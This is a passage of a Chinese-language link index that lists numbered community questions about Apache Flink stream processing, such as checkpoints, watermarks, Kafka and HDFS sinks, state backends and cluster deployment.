有背压时,flink会重启有遇到过这个问题吗](https://t.zsxq.com/3vnIm62) 76、[flink使用yarn-session方式部署,如何保证yarn-session的稳定性,如果yarn-session挂了,需要重新部署一个yarn-session,如何恢复之前yarn-session上的job呢,之前的checkpoint还能使用吗?](https://t.zsxq.com/URzVBIm) 77、[我想请教一下关于sink的问题。我现在的需求是从Kafka消费Json数据,这个Json数据字段可能会增加,然后将拿到的json数据以parquet的格式存入hdfs。现在我可以拿到json数据的schema,但是在保存parquet文件的时候不知道怎么处理。一是flink没有专门的format parquet,二是对于可变字段的Json怎么处理成parquet比较合适?](https://t.zsxq.com/MjyN7Uf) 78、[flink如何在较大的数据量中做去重计算。](https://t.zsxq.com/6qBqVvZ) 79、[flink能在没有数据的时候也定时执行算子吗?](https://t.zsxq.com/Eqjyju7) 80、[使用rocksdb状态后端,自定义pojo怎么实现序列化和反序列化的,有相关demo么?](https://t.zsxq.com/i2zVfIi) 81、[check point 老是失败,是不是自定义的pojo问题?到本地可以,到hdfs就不行,网上也有很多类似的问题 都没有一个很好的解释和解决方案](https://t.zsxq.com/vRJujAi) 82、[cep规则如图,当start事件进入时,时间00:00:15,而后进入end事件,时间00:00:40。我发现规则无法命中。请问within 是从start事件开始计时?还是跟window一样根据系统时间划分的?如果是后者,请问怎么配置才能从start开始计时?](https://t.zsxq.com/MVFmuB6) 83、[Flink聚合结果直接写Mysql的幂等性设计问题](https://t.zsxq.com/EybM3vR) 84、[Flink job打开了checkpoint,用的rocksdb,通过观察hdfs上checkpoint目录,为啥算副本总量会暴增爆减](https://t.zsxq.com/62VzNRF) 85、[Flink 提交任务的 jar包可以指定路径为 HDFS 上的吗]() 86、[在flink web Ui上提交的任务,设置的并行度为2,flink是stand alone部署的。两个任务都正常的运行了几天了,今天有个地方逻辑需要修改,于是将任务cancel掉(在命令行cancel也试了),结果taskmanger挂掉了一个节点。后来用其他任务试了,也同样会导致节点挂掉](https://t.zsxq.com/VfimieI) 87、[一个配置动态更新的问题折腾好久(配置用个静态的map变量存着,有个线程定时去数据库捞数据然后存在这个map里面更新一把),本地 idea 调试没问题,集群部署就一直报 空指针异常。下游的算子使用这个静态变量map去get key在集群模式下会出现这个空指针异常,估计就是拿不到 map](https://t.zsxq.com/nee6qRv) 88、[批量写入MySQL,完成HBase批量写入](https://t.zsxq.com/3bEUZfQ) 89、[用flink清洗数据,其中要访问redis,根据redis的结果来决定是否把数据传递到下流,这有可能实现吗?](https://t.zsxq.com/Zb6AM3V) 90、[监控页面流处理的时候这个发送和接收字节为0。](https://t.zsxq.com/RbeYZvb) 91、[sink到MySQL,如果直接用idea的话可以运行,并且成功,大大的代码上面用的FlinkKafkaConsumer010,而我的Flink版本为1.7,kafka版本为2.12,所以当我用FlinkKafkaConsumer010就有问题,于是改为 FlinkKafkaConsumer就可以直接在idea完成sink到MySQL,但是为何当我把该程序打成Jar包,去运行的时候,就是报FlinkKafkaConsumer找不到呢](https://t.zsxq.com/MN7iuZf) 92、[SocketTextStreamWordCount中输入中文统计不出来,请问这个怎么解决,我猜测应该是需要修改一下代码,应该是这个例子默认统计英文](https://t.zsxq.com/e2VNN7Y) 93、[ Flink 应用程序本地 ide 里面运行的时候并行度是怎么算的?](https://t.zsxq.com/RVRn6AE) 94、[ 请问下flink中对于窗口的全量聚合有apply和process两种 他们有啥区别呢](https://t.zsxq.com/rzbIQBi) 95、[不知道大大熟悉Hbase不,我想直接在Hbase中查询某一列数据,因为有重复数据,所以想使用distinct统计实际数据量,请问Hbase中有没有类似于sql的distinct关键字。如果没有,想实现这种可以不?](https://t.zsxq.com/UJIubub) 96、[ 来分析一下现在Flink,Kafka方面的就业形势,以及准备就业该如何准备的这方面内容呢?](https://t.zsxq.com/VFaQn2j) 97、[ 大佬知道flink的dataStream可以转换为dataSet吗?因为数据需要11分钟一个批次计算五六个指标,并且涉及好几步reduce,计算的指标之间有联系,用Stream卡住了。](https://t.zsxq.com/Zn2FEQZ) 98、[1.如何在同一窗口内实现多次的聚合,比如像spark中的这样2.多个实时流的jion可以用window来处理一批次的数据吗?](https://t.zsxq.com/aIqjmQN) 99、[写的批处理的功能,现在本机跑是没问题的,就是在linux集群上出现了问题,就是不知道如果通过本地调用远程jar包然后传参数和拿到结果参数返回本机](https://t.zsxq.com/ZNvb2FM) 100、[我用standalone开启一个flink集群,上传flink官方用例Socket Window WordCount做测试,开启两个parallelism能正常运行,但是开启4个parallelism后出现错误](https://t.zsxq.com/femmiqf) 101、[ 有使用AssignerWithPunctuatedWatermarks 的案例Demo吗?网上找了都是AssignerWithPeriodicWatermarks的,不知道具体怎么使用?](https://t.zsxq.com/YZ3vbY3) 102、[ 有一个datastream(从文件读取的),然后我用flink sql进行计算,这个sql是一个加总的运算,然后通过retractStreamTableSink可以把文件做sql的结果输出到文件吗?这个输出到文件的接口是用什么呢?](https://t.zsxq.com/uzFyVJe) 103、[ 为啥split这个流设置为过期的](https://t.zsxq.com/6QNNrZz) 104、[ 需要使用flink table的水印机制控制时间的乱序问题,这种场景下我就使用水印+窗口了,我现在写的demo遇到了问题,就是在把触发计算的窗口table(WindowedTable)转换成table进行sql操作时发现窗口中的数据还是乱序的,是不是flink table的WindowedTable不支持水印窗口转table-sql的功能](https://t.zsxq.com/Q7YNRBE) 105、[ Flink 对 SQL 的重视性](https://t.zsxq.com/Jmayrbi) 106、[ flink job打开了checkpoint,任务跑了几个小时后就出现下面的错,截图是打出来的日志,有个OOM,又遇到过的没?](https://t.zsxq.com/ZrZfa2Z) 107、[ 本地测试是有数据的,之前该任务放在集群也是有数据的,可能提交过多次,现在读不到数据了 group id 也换过了, 只能重启集群解决么?](https://t.zsxq.com/emaAeyj) 108、[使用flink清洗数据存到es中,直接在flatmap中对处理出来的数据用es自己的ClientInterface类直接将数据存入es当中,不走sink,这样的处理逻辑是不是会有问题。](https://t.zsxq.com/ayBa6am) 108、[ flink从kafka拿数据(即增量数据)与存量数据进行内存聚合的需求,现在有一个方案就是程序启动的时候先用flink table将存量数据加载到内存中创建table中,然后将stream的增量数据与table的数据进行关联聚合后输出结束,不知道这种方案可行么。目前个人认为有两个主要问题:1是增量数据stream转化成append table后不知道能与存量的table关联聚合不,2是聚合后输出的结果数据是否过于频繁造成网络传输压力过大](https://t.zsxq.com/QNvbE62) 109、[ 设置时间时间特性有什么区别呢, 分别在什么场景下使用呢?两种设置时间延迟有什么区别呢 , 分别在什么场景下使用](https://t.zsxq.com/yzjAQ7a) 110、[ flink从rabbitmq中读取数据,设置了rabbitmq的CorrelationDataId和checkpoint为EXACTLY_ONCE;如果flink完成一次checkpoint后,在这次checkpoint之前消费的数据都会从mq中删除。如果某次flink停机更新,那就会出现mq中的一些数据消费但是处于Unacked状态。在flink又重新开启后这批数据又会重新消费。那这样是不是就不能保证EXACTLY_ONCE了](https://t.zsxq.com/qRrJEaa) 111、[1. 在Flink checkpoint 中, 像 operator的状态信息 是在设置了checkpoint 之后自动的进行快照吗 ?2. 上面这个和我们手动存储的 Keyed State 进行快照(这个应该是增量快照)](https://t.zsxq.com/mAqn2RF) 112、[现在有个实时商品数,交易额这种统计需求,打算用 flink从kafka读取binglog日志进行计算,但binglog涉及到insert和update这种操作时 怎么处理才能统计准确,避免那种重复计算的问题?](https://t.zsxq.com/E2BeQ3f) 113、[我这边用flink做实时监控,功能很简单,就是每条消息做keyby然后三分钟窗口,然后做些去重操作,触发阈值则报警,现在问题是同一个时间窗口同一个人的告警会触发两次,集群是三台机器,standalone cluster,初步结果是三个算子里有两个收到了同样的数据](https://t.zsxq.com/vjIeyFI) 114、[在使用WaterMark的时候,默认是每200ms去设置一次watermark,那么每个taskmanager之间,由于得到的数据不同,所以往往产生的最大的watermark不同。 那么这个时候,是各个taskmanager广播这个watermark,得到全局的最大的watermark,还是说各个taskmanager都各自用自己的watermark。主要没看到广播watermark的源码。不知道是自己观察不仔细还是就是没有广播这个变量。](https://t.zsxq.com/unq3FIa) 115、[现在遇到一个需求,需要在job内部定时去读取redis的信息,想请教flink能实现像普通程序那样的定时任务吗?](https://t.zsxq.com/AeUnAyN) 116、[有个触发事件开始聚合,等到数量足够,或者超时则sink推mq 环境 flink 1.6 用了mapState 记录触发事件 1 数据足够这个OK 2 超时state ttl 1.6支持,但是问题来了,如何在超时时候增加自定义处理?](https://t.zsxq.com/z7uZbY3) 117、[请问impala这种mpp架构的sql引擎,为什么稳定性比较差呢?](https://t.zsxq.com/R7UjeUF) 118、[watermark跟并行度相关不是,过于全局了,期望是keyby之后再针对每个keyed stream 打watermark,这个有什么好的实践呢?](https://t.zsxq.com/q7myfAQ) 119、[请问如果把一个文件的内容读取成datastream和dataset,有什么区别吗??他们都是一条数据一条数据的被读取吗?](https://t.zsxq.com/rB6yfeA) 120、[有没有kylin相关的资料,或者调优的经验?](https://t.zsxq.com/j2j6EyJ) 121、[flink先从jdbc读取配置表到流中,另外从kafka中新增或者修改这个配置,这个场景怎么把两个流一份配置流?我用的connect,接着发不成广播变量,再和实体流合并,但在合并时报Exception in thread "main" java.lang.IllegalArgumentException](https://t.zsxq.com/iMjmQVV) 122、[Flink exactly-once,kafka版本为0.11.0 ,sink基于FlinkKafkaProducer 每五分钟一次checkpoint,但是checkpoint开始后系统直接卡死,at-lease-once 一分钟能完成的checkpoint, 现在十分钟无法完成没进度还是0, 不知道哪里卡住了](https://t.zsxq.com/RFQNFIa) 123、[flink的状态是默认存在于内存的(也可以设置为rocksdb或hdfs),而checkpoint里面是定时存放某个时刻的状态信息,可以设置hdfs或rocksdb是这样理解的吗?](https://t.zsxq.com/NJq3rj2) 124、[Flink异步IO中,下图这两种有什么区别?为啥要加 CompletableFuture.supplyAsync,不太明白?](https://t.zsxq.com/NJq3rj2) 125、[flink的状态是默认存在于内存的(也可以设置为rocksdb或hdfs),而checkpoint里面是定时存放某个时刻的状态信息,可以设置hdfs或rocksdb是这样理解的吗?](https://t.zsxq.com/NJq3rj2) 126、[有个计算场景,从kafka消费两个数据源,两个数据结构都有时间段概念,计算需要做的是匹配两个时间段,匹配到了,就生成一条新的记录。请问使用哪个工具更合适,flink table还是cep?请大神指点一下 我这边之前的做法,将两个数据流转为table.两个table over window后join成新的表。结果job跑一会就oom.](https://t.zsxq.com/rniUrjm) 127、[一个互联网公司,或者一个业务系统,如果想做一个全面的监控要怎么做?有什么成熟的方案可以参考交流吗?有什么有什么度量指标吗?](https://t.zsxq.com/vRZ7qJ2) 128、[怎么深入学习flink,或者其他大数据组件,能为未来秋招找一份大数据相关(计算方向)的工作增加自己的竞争力?](https://t.zsxq.com/3vfyJau) 129、[oppo的实时数仓,其中明细层和汇总层都在kafka中,他们的关系库的实时数据也抽取到kafka的ods,那么在构建数仓的,需要join 三四个大业务表,业务表会变化,那么是大的业务表是从kafka的ods读取吗?实时数仓,多个大表join可以吗](https://t.zsxq.com/VBIunun) 130、[Tuple类型有什么方法转换成json字符串吗?现在的场景是,结果在存储到sink中时希望存的是json字符串,这样应用程序获取数据比较好转换一点。如果Tuple不好转换json字符串,那么应该以什么数据格式存储到sink中](https://t.zsxq.com/vnaURzj) 140、[端到端的数据保证,是否意味着中间处理程序中断,也不会造成该批次处理失败的消息丢失,处理程序重新启动之后,会再次处理上次未处理的消息](https://t.zsxq.com/J6eAmYb) 141、[关于flink datastream window相关的。比如我现在使用滚动窗口,统计一周内去重用户指标,按照正常watermark触发计算,需要等到当前周的window到达window的endtime时,才会触发,这样指标一周后才能产出结果。我能不能实现一小时触发一次计算,每次统计截止到当前时间,window中所有到达元素的去重数量。](https://t.zsxq.com/7qBMrBe) 142、[FLIP-16 Loop Fault Tolerance 是讲现在的checkpoint机制无法在stream loop的时候容错吗?现在这个问题解决了没有呀?](https://t.zsxq.com/uJqzBIe) 143、[现在的需求是,统计各个key的今日累计值,一分钟输出一次。如,各个用户今日累计点击次数。这种需求用datastream还是table API方便点?](https://t.zsxq.com/uZnmQzv) 144、[本地idea可以跑的工程,放在standalone集群上,总报错,报错截图如下,大佬请问这是啥原因](https://t.zsxq.com/BqnYRN7) 145、[比如现在用k8s起了一个flink集群,这时候数据源kafka或者hdfs会在同一个集群上吗,还是会单独再起一个hdfs/kafka集群](https://t.zsxq.com/7MJujMb) 146、[flink kafka sink 的FlinkFixedPartitioner 分配策略,在并行度小于topic的partitions时,一个并行实例固定的写消息到固定的一个partition,那么就有一些partition没数据写进去?](https://t.zsxq.com/6U7QFMj) 147、[基于事件时间,每五分钟一个窗口,五秒钟滑动一次,同时watermark的时间同样是基于事件事件时间的,延迟设为1分钟,假如数据流从12:00开始,如果12:07-12:09期间没有产生任何一条数据,即在12:07-12:09这段间的数据流情况为···· (12:07:00,xxx),(12:09:00,xxx)······,那么窗口[12:02:05-12:07:05],[12:02:10-12:07:10]等几个窗口的计算是否意味着只有等到,12:09:00的数据到达之后才会触发](https://t.zsxq.com/fmq3fYF) 148、[使用flink1.7,当消费到某条消息(protobuf格式),报Caused by: org.apache.kafka.common.KafkaException: Record batch for partition Notify-18 at offset 1803009 is invalid, cause: Record is corrupt 这个异常。 如何设置跳过已损坏的消息继续消费下一条来保证业务不终断? 我看了官网kafka connectors那里,说在DeserializationSchema.deserialize(...)方法中返回null,flink就会跳过这条消息,然而依旧报这个异常](https://t.zsxq.com/MRvv3ZV) 149、[是否可以抽空总结一篇Flink 的 watermark 的原理案例?一直没搞明白基于事件时间处理时的数据乱序和数据迟到底咋回事](https://t.zsxq.com/MRJeAuj) 150、[flink中rpc通信的原理,与几个类的讲解,有没有系统详细的文章样,如有求分享,谢谢](https://t.zsxq.com/2rJyNrF) 151、[Flink中如何使用基于事件时间处理,但是又不使用Watermarks? 我在会话窗口中使用遇到一些问题,图一是基于处理时间的,测试结果session是基于keyby(用户)的,图二是基于事件时间的,不知道是我用法不对还是怎么的,测试结果发现并不是基于keyby(用户的),而是全局的session。不知道怎么修改?](https://t.zsxq.com/bM3ZZRf) 152、[flink实时计算平台,yarn模式日志收集怎么做,为什么会checkpoint失败,报警处理,后需要做什么吗?job监控怎么做](https://t.zsxq.com/BMVzzzB) 153、[有flink与jstorm的在不同应用场景下, 性能比较的数据吗? 从网络上能找大部分都是flink与storm的比较. 在jstorm官网上有一份比较的图表, 感觉参考意义不大, 应该是比较早的flink版本.](https://t.zsxq.com/237EAay) 154、[为什么使用SessionWindows.withGap窗口的话,State存不了东西呀,每次加1 ,拿出来都是null, 我换成 TimeWindow就没问题。](https://t.zsxq.com/J6eAmYb) 155、[请问一下,flink datastream流处理怎么统计去重指标? 官方文档中只看到批处理有distinct概念。](https://t.zsxq.com/y3nYZrf) 156、[好全的一篇文章,对比分析 Flink,Spark Streaming,Storm 框架](https://t.zsxq.com/qRjqFY3) 157、[关于 structured_streaming 的 paper](https://t.zsxq.com/Eau7qNB) 158、[zookeeper集群切换领导了,flink集群项目重启了就没有数据的输入和输出了,这个该从哪方面入手解决?](https://t.zsxq.com/rFYbEeq) 159、[我想请教下datastream怎么和静态数据join呢](https://t.zsxq.com/nEAaYNF) 160、[时钟问题导致收到了明天的数据,这时候有什么比较好的处理方法?看到有人设置一个最大的跳跃阈值,如果当前数据时间 - 历史最大时间 超过阈值就不更新。如何合理的设计水印,有没有一些经验呢?](https://t.zsxq.com/IAAeiA6) 161、[大佬们flink怎么定时查询数据库?](https://t.zsxq.com/EuJ2RRf) 162、[现在我们公司有个想法,就是提供一个页面,在页面上选择source sink 填写上sql语句,然后后台生成一个flink的作业,然后提交到集群。功能有点类似于华为的数据中台,就是页面傻瓜式操作。后台能自动根据相应配置得到结果。请问拘你的了解,可以实现吗?如何实现?有什么好的思路。现在我无从下手](https://t.zsxq.com/vzZBmYB) 163、[请教一下 flink on yarn 的 ha机制](https://t.zsxq.com/VRFIMfy) 164、[在一般的流处理以及cep, 都可以对于eventtime设置watermark, 有时可能需要设置相对大一点的值, 这内存压力就比较大, 有没有办法不应用jvm中的内存, 而用堆外内存, 或者其他缓存, 最好有cache机制, 这样可以应对大流量的峰值.](https://t.zsxq.com/FAiiEyr) 165、[请教一个flink sql的问题。我有两个聚合后的流表A和B,A和Bjoin得到C表。在设置state TTL 的时候是直接对C表设置还是,对A表和B表设置比较好?](https://t.zsxq.com/YnI2F66) 166、[spark改写为flink,会不会很复杂,还有这两者在SQL方面的支持差别大吗?](https://t.zsxq.com/unyneEU) 167、[请问flink allowedLateness导致窗口被多次fire,最终数据重复消费,这种问题怎么处理,数据是写到es中](https://t.zsxq.com/RfyZFUR) 168、[设置taskmanager.numberOfTaskSlots: 4的时候没有问题,但是cpu没有压上去,只用了30%左右,于是设置了taskmanager.numberOfTaskSlots: 8,但是就报错误找不到其中一个自定义的类,然后kafka数据就不消费了。为什么?cpu到多少合适?slot是不是和cpu数量一致是最佳配置?kafka分区数多少合适,是不是和slot,parallesim一致最佳?](https://t.zsxq.com/bIAEyFe) 169、[需求是根据每条日志切分出需要9个字段,有五个指标再根据9个字段的不同组合去做计算。 第一个方法是:我目前做法是切分的9个字段开5分钟大小1分钟计算一次的滑动窗口窗口,进行一次reduce去重,然后再map取出需要的字段,然后过滤再开5分钟大小1分钟计算一次的滑动窗口窗口进行计算保存结果,这个思路遇到的问题是上一个滑动窗口会每一分钟会计算5分钟数据,到第二个窗口划定的5分钟范围的数据会有好多重复,这个思路会造成数据重复。 第二个方法是:切分的9个字段开5分钟大小1分钟计算一次的滑动窗口窗口,再pross方法里完成所有的过滤,聚合计算,但是再高峰期每分钟400万条数据,这个思路担心在高峰期flink计算不过来](https://t.zsxq.com/BUNfYnY) 170、[a,b,c三个表,a和c有eventtime,a和c直接join可以,a和b join后再和c join 就会报错,这是怎么回事呢](https://t.zsxq.com/aAqBEY7) 171、[自定义的source是这样的(图一所示) 使用的时候是这样的(图二所示),为什么无论 sum.print().setParallelism(2)(图2所示)的并行度设置成几最后结果都是这样的](https://t.zsxq.com/zZNNRzr) 172、[刚接触flink,如有问的不合适的地方,请见谅。 1、为什么说flink是有状态的计算? 2、这个状态是什么?3、状态存在哪里](https://t.zsxq.com/i6Mz7Yj) 173、[这边用flink 1.8.1的版本,采用flink on yarn,hadoop版本2.6.0。代码是一个简单的滚动窗口统计函数,但启动的时候报错,如下图片。 (2)然后我把flink版本换成1.7.1,重新提交到2.6.0的yarn平台,就能正常运行了。 (3)我们测试集群hadoop版本是3.0,我用flink 1.8.1版本将这个程序再次打包,提交到3.0版本的yarn平台,也能正常运行。 貌似是flink 1.8.1版本与yarn 2.6.0版本不兼容造成的这个问题](https://t.zsxq.com/vNjAIMN) 174、[StateBackend我使用的是MemoryStateBackend, State是怎么释放内存的,例如我在函数中用ValueState存储了历史状态信息。但是历史状态数据我没有手动释放,那么程序会自动释放么?还是一直驻留在内存中](https://t.zsxq.com/2rVbm6Y) 175、[请问老师是否可以提供一些Apachebeam的学习资料 谢谢](https://t.zsxq.com/3bIEAyv) 176、[flink 的 DataSet或者DataStream支持索引查询以及删除吗,像spark rdd,如果不支持的话,该转换成什么](https://t.zsxq.com/yFEyZVB) 177、[关于flink的状态,能否把它当做数据库使用,类似于内存数据库,在处理过程中存业务数据。如果是数据库可以算是分布式数据库吗?是不是使用rocksdb这种存储方式才算是?支持的单库大小是不是只是跟本地机器的磁盘大小相关?如果使用硬盘存储会不会效率性能有影响](https://t.zsxq.com/VNrn6iI) 178、[我这边做了个http sink,想要批量发送数据,不过现在只能用数量控制发送,但最后的几个记录没法触发发送动作,想问下有没有什么办法](https://t.zsxq.com/yfmiUvf) 179、[请问下如何做定时去重计数,就是根据时间分窗口,窗口内根据id去重计数得出结果,多谢。试了不少办法,没有简单直接办法](https://t.zsxq.com/vNvrfmE) 180、[我有个job使用了elastic search sink. 设置了批量5000一写入,但是看es监控显示每秒只能插入500条。是不是bulkprocessor的currentrequest为0有关](https://t.zsxq.com/rzZbQFA) 181、[有docker部署flink的资料吗](https://t.zsxq.com/aIur7ai) 182、[在说明KeyBy的StreamGraph执行过程时,keyBy的ID为啥是6? 根据前面说,ID是一个静态变量,每取一次就递增1,我觉得应该是3啊,是我理解错了吗](https://t.zsxq.com/VjQjqF6) 183、[有没计划出Execution Graph的远码解析](https://t.zsxq.com/BEmAIQv) 184、[可以分享下物理执行图怎样划分task,以及task如何执行,还有他们之间数据如何传递这块代码嘛?](https://t.zsxq.com/vVjiYJQ) 185、[Flink源码和这个学习项目的结构图](https://t.zsxq.com/FyNJQbQ) 186、[请问flink1.8,如何做到动态加载外部udf-jar包呢?](https://t.zsxq.com/qrjmmaU) 187、[同一个Task Manager中不同的Slot是怎么交互的,比如:source处理完要传递给map的时候,如果在不同的Slot中,他们的内存是相互隔离,是怎么交互的呢? 我猜是通过序列化和反序列化对象,并且通过网络来进行交互的](https://t.zsxq.com/ZFQjQnm) 188、[你们有没有这种业务场景。flink从kafka里面取数据,每一条数据里面有mongdb表A的id,这时我会在map的时候采用flink的异步IO连接A表,然后查询出A表的字段1,再根据该字段1又需要异步IO去B表查询字段2,然后又根据字段2去C表查询字段3.....像这样的业务场景,如果多来几种逻辑,我应该用什么方案最好呢](https://t.zsxq.com/YBQFufi) 189、[今天本地运行flink程序,消费socket中的数据,连续只能消费两条,第三条flink就消费不了了](https://t.zsxq.com/vnufYFY) 190、[源数据经过过滤后分成了两条流,然后再分别提取事件时间和水印,做时间窗口,我测试时一条流没有数据,另一条的数据看日志到了窗口操作那边就没走下去,貌似窗口一直没有等到触发](https://t.zsxq.com/me6EmM3) 191、[有做flink cep的吗,有资料没?](https://t.zsxq.com/fubQrvj) 192、[麻烦问一下 BucketingSink跨集群写,如果任务运行在hadoop A集群,从kafka读取数据处理后写到Hadoo B集群,即使把core-site.xml和hdfs-site.xml拷贝到代码resources下,路径使用hdfs://hadoopB/xxx,会提示ava.lang.RuntimeException: Error while creating FileSystem when initializing the state of the BucketingSink.,跨集群写这个问题 flink不支持吗?](https://t.zsxq.com/fEQVjAe) 193、[想咨询下,如何对flink中的datastream和dataset进行数据采样](https://t.zsxq.com/fIMVJ2J) 194、[一个flink作业经常发生oom,可能是什么原因导致的。 处理流程只有15+字段的解析,redis数据读取等操作,TM配置10g。 业务会在夜间刷数据,qps能打到2500左右~](https://t.zsxq.com/7MVjyzz) 195、[我看到flink 1.8的状态过期仅支持Processing Time,那么如果我使用的是Event time那么状态就不会过期吗](https://t.zsxq.com/jA2NVnU) 196、[请问我想每隔一小时统计一个属性从当天零点到当前时间的平均值,这样的时间窗该如何定义?](https://t.zsxq.com/BQv33Rb) 197、[flink任务里面反序列化一个类,报ClassNotFoundException,可是包里面是有这个类的,有遇到这种情况吗?](https://t.zsxq.com/nEAiIea) 198、[在构造StreamGraph,类似PartitionTransformmation 这种类型的 transform,为什么要添加成一个虚拟节点,而不是一个实际的物理节点呢?](https://t.zsxq.com/RnayrVn) 199、[flink消费kafka的数据写入到hdfs中,我采用了BucketingSink 这个sink将operator出来的数据写入到hdfs文件上,并通过在hive中建外部表来查询这个。但现在有个问题,处于in-progress的文件,hive是无法识别出来该文件中的数据,可我想能在hive中实时查询进来的数据,且不想产生很多的小文件,这个该如何处理呢](https://t.zsxq.com/A2fYNFA) 200、[采用Flink单机集群模式一个jobmanager和两个taskmanager,机器是单机是24核,现在做个简单的功能从kafka的一个topic转满足条件的消息到另一个topic,topic的分区是30,我设置了程序默认并发为30,现在每秒消费2w多数据,不够快,请问可以怎么提高job的性能呢?](https://t.zsxq.com/7AurJU3) 201、[Flink Metric 源码分析](https://t.zsxq.com/Mnm2nI6) 202、[请问怎么理解官网的这段话?按官网的例子,难道只keyby之后才有keyed state,才能托管Flink存储状态么?source和map如果没有自定义operator state的话,状态是不会被保存的?](https://t.zsxq.com/iAi6QRb) 203、[想用Flink做业务监控告警,并要能够支持动态添加CEP规则,问下可以直接使用Flink CEP还是siddhi CEP? 有没有相关的资料学习下?谢谢!](https://t.zsxq.com/3rbeuju) 204、[请问一下,有没有关于水印,触发器的Java方面的demo啊](https://t.zsxq.com/eYJUbm6) 205、[老师,最近我们线上偶尔出现这种情况,就是40个并行度,其他有一个并行度CheckPoint一直失败,其他39个并行度都是毫秒级别就可以CheckPoint成功,这个怎么定位问题呢?还有个问题 CheckPoint的时间分为三部分 Checkpoint Duration (Async)和 Checkpoint Duration (Sync),还有个 end to end 减去同步和异步的时间,这三部分 分别指代哪块?如果发现这三者中的任意一个步骤时间长,该怎么去优化](https://t.zsxq.com/QvbAqVB) 206、[我这边有个场景很依赖消费出来的数据的顺序。在源头侧做了很多处理,将kafka修改成一个分区等等很多尝试,最后消费出来的还是乱序的。能不能在flink消费的时候做处理,来保证处理的数据的顺序。](https://t.zsxq.com/JaUZvbY) 207、[有一个类似于实时计算今天的pv,uv需求,采用source->keyby->window->trigger->process后,在process里采用ValueState计算uv ,问题是 这个window内一天的所有数据是都会缓存到flink嘛? 一天的数据量如果大点,这样实现就有问题了, 这个有其他的实现思路嘛?](https://t.zsxq.com/iQfaAeu) 208、[Flink 注解源码解析](https://t.zsxq.com/f6eAu3J) 209、[如何监控 Flink 的 TaskManager 和 JobManager](https://t.zsxq.com/IuRJYne) 210、[问下,在真实流计算过程中,并行度的设置,是与 kafka topic的partition数一样的吗?](https://t.zsxq.com/v7yfEIq) 211、[Flink的日志 如果自己做平台封装在自己的界面中 请问job Manger 和 taskManger 还有用户自己的程序日志 怎么获取呢 有api还是自己需要利用flume 采集到ELK?](https://t.zsxq.com/Zf2F6mM) 212、[我想问下一般用Flink统计pv uv是怎么做的?uv存到redis? 每个uv都存到redis,会不会撑爆?](https://t.zsxq.com/72VzBEy) 213、[Flink的Checkpoint 机制,在有多个source的时候,barrier n 的流将被暂时搁置,从其他流接收的记录将不会被处理,但是会放进一个输入缓存input buffer。如果被缓存的record大小超出了input buffer会怎么样?不可能一直缓存下去吧,如果其中某一条就一直没数据的话,整个过程岂不是卡死了?](https://t.zsxq.com/zBmm2fq) 214、[公司想实时展示订单数据,汇总金额,并需要和前端交互,实时生成数据需要告诉前端,展示成折线图,这种场景的技术选型是如何呢?包括数据的存储,临时汇总数据的存储,何种形式告诉前端](https://t.zsxq.com/ZnIAi2j) 215、[请问下checkpoint中存储了哪些东西?](https://t.zsxq.com/7EIeEyJ) 216、[我这边有个需求是实时计算当前车辆与前车距离,用经纬度求距离。大概6000台车,10秒一条经纬度数据。gps流与自己join的地方在进行checkpoint的时候特别缓,每次要好几分钟。checkpoint 状态后端是rocksDB。有什么比较好的方案吗?自己实现一个类似last_value的函数取车辆最新的经纬再join,或者弄个10秒的滑动窗口输出车辆最新的经纬度再进行join,这样可行吗?](https://t.zsxq.com/euvFaYz) 217、[flink在启动的时候能不能指定一个时间点从kafka里面恢复数据呢](https://t.zsxq.com/YRnEUFe) 218、[我们线上有个问题,很多业务都去读某个hive表,但是当这个hive表正在写数据的时候,偶尔出现过 读到表里数据为空的情况,这个问题怎么解决呢?](https://t.zsxq.com/7QJEEyr) 219、[使用 InfluxDB 和 Grafana 搭建监控 Flink 的平台](https://t.zsxq.com/yVnaYR7) 220、[flink消费kafka两个不同的topic,然后进行join操作,如果使用事件时间,两个topic都要设置watermaker吗,如果只设置了topic A的watermaker,topic B的不设置会有什么影响吗?](https://t.zsxq.com/uvFU7aY) 221、[请教一个问题,我的Flink程序运行一段时间就会报这个错误,定位好多天都没有定位到。checkpoint 时间是5秒,20秒都不行。Caused by: java.io.IOException: Could not flush and close the file system output stream to hdfs://HDFSaaaa/flink/PointWideTable_OffTest_Test2/1eb66edcfccce6124c3b2d6ae402ec39/chk-355/1005127c-cee3-4099-8b61-aef819d72404 in order to obtain the stream state handle](https://t.zsxq.com/NNFYJMn) 222、[Flink的反压机制相比于Storm的反压机制有什么优势呢?问题2: Flink的某一个节点发生故障,是否会影响其他节点的正常工作?还是会通过Checkpoint容错机制吗把任务转移到其他节点去运行呢?](https://t.zsxq.com/yvRNFEI) 223、[我在验证checkpoint的时候遇到给问题,不管是key state 还是operator state,默认和指定uid是可以的恢复state数据的,当指定uidHash时候无法恢复state数据,麻烦大家给解答一样。我操作state是实现了CheckpointedFunction接口,覆写snapshotState和initializeState,再这两个方法里操作的,然后让程序定时抛出异常,观察发现指定uidHash后snapshotState()方法里context.isRestored()为false,不太明白具体是什么原因](https://t.zsxq.com/ZJmiqZz) 224、[kafka 中的每条数据需要和 es 中的所有数据(动态增加)关联,关联之后会做一些额外的操作,这个有什么比较可行的方案?](https://t.zsxq.com/mYV37qF) 225、[flink消费kafka数据,设置1分钟checkpoint一次,假如第一次checkpoint完成以后,还没等到下一次checkpoint,程序就挂了,kafka offset还是第一次checkpoint记录的offset,那么下次重新启动程序,岂不是多消费数据了?那flink的 exactly one消费语义是怎么样的?](https://t.zsxq.com/buFeyZr) 226、[程序频繁发生Heartbeat of TaskManager with id container_e36_1564049750010_5829_01_000024 timed out. 心跳超时,一天大概10次左右。是内存没给够吗?还是网络波动引起的](https://t.zsxq.com/Znyja62) 227、[有没有性能优化方面的指导文章?](https://t.zsxq.com/AA6ma2Z) 228、[flink消费kafka是如何监控消费是否正常的,有啥好办法?](https://t.zsxq.com/a2N37a6) 229、[我按照官方的wordcount案例写了一个例子,然后在main函数中起了一个线程,原本是准备定时去更新某些配置,准备测试一下是否可行,所以直接在线程函数中打印一条语句测试是否可行。现在测试的结果是不可行,貌似这个线程根本就没有执行,请问这是什么原因呢? 按照理解,JobClient中不是反射类执行main函数吗, 执行main函数的时候为什么没有执行这个线程的打印函数呢?](https://t.zsxq.com/m2FeeMf) 230、[请问我想保留最近多个完成的checkpoint数据,是通过设置 state.checkpoints.num-retained 吗?要怎么使用?](https://t.zsxq.com/EyFUb6m) 231、[有没有etl实时数仓相关案例么?比如二十张事实表流join](https://t.zsxq.com/rFeIAeA) 232、[为什么我扔到flink 的stream job,立刻就finished](https://t.zsxq.com/n2RFmyN) 